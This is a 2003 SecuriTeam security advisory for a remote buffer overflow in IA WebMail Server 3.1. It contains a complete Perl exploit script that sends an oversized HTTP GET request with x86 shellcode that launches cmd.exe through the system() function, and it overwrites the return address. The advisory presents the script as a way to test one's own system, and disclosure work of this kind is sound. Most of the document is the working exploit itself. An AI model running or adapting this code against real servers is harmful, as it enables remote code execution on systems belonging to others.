[EXPL] IA WebMail Server Buffer Overflow Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 11/04/03

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Date: 4 Nov 2003 11:47:20 +0200

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      IA WebMail Server Buffer Overflow Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article
    <http://www.securiteam.com/windowsntfocus/6B002158UQ.html> IA WebMail
    Server Buffer Overflow Vulnerability, a vulnerability in IA WebMail allows
    remote attackers to overflow an internal buffer, overwriting the EIP
    address. The following exploit code can be used to test your system for
    the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * IA WebMail version 3.1

    Exploit:
    #!/usr/bin/perl
    use IO::Socket;
    unless (@ARGV == 1) { die "usage: $0 host ..." }
    $host = shift(@ARGV);
    $remote = IO::Socket::INET->new( Proto => "tcp",
                                     PeerAddr => $host,
                                     PeerPort => "8180",
                                     );
    unless ($remote) { die "cannot connect to http daemon on $host" }

    $remote->autoflush(1);

    $shellcode = join ("",
    "\x90", # - NOP
    "\xCC", # - INT3
    "\x90", # - NOP
    "\x90", # - NOP
    "\x90", # - NOP
    "\x90", # - NOP
    "\x8B\xEC", # - MOV EBP, ESP
    "\x55", # - PUSH EBP
    "\x8B\xEC", # - MOV EBP, ESP
    "\x33\xFF", # - XOR EDI, EDI
    "\x57", # - PUSH EDI
    "\x83\xEC\x04", # 0 SUB ESP, 4
    "\xC6\x45\xF8\x63", # - MOV BYTE PTR SS:[EBP-8],63h
    "\xC6\x45\xF9\x6D", # - MOV BYTE PTR SS:[EBP-7],6Dh
    "\xC6\x45\xFA\x64", # - MOV BYTE PTR SS:[EBP-6],64h
    "\xC6\x45\xFB\x2E", # - MOV BYTE PTR SS:[EBP-5],2Eh
    "\xC6\x45\xFC\x65", # - MOV BYTE PTR SS:[EBP-4],65h
    "\xC6\x45\xFD\x78", # - MOV BYTE PTR SS:[EBP-3],78h
    "\xC6\x45\xFE\x65", # - MOV BYTE PTR SS:[EBP-2],65h
    "\xB8\xC3\xAF\x01\x78", # - MOV EAX, MSVCRT.system
    "\x50", # - PUSH EAX
    "\x8D\x45\xF8", # - LEA EAX, DWORD PTR SS:[EBP-8]
    "\x50", # - PUSH EAX
    "\xFF\x55\xF4", # - CALL DWORD PTR SS:[EBP-C]
    "\x5F" # - POP EDI
    );

    $eip = "\x4c\xf8\x12";

    #0012f84C

    #$eip = "AAAA";
    $request = join ("", "GET /", $shellcode, "A"x(1040-length($shellcode)),
    $eip, " HTTP/1.1\r
    Host: $host\r
    Connection: close\r
    \r
    \r\n");

    print $remote $request;
    sleep(1);

    close $remote;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expert@securiteam.com>
    SecurITeam Experts.

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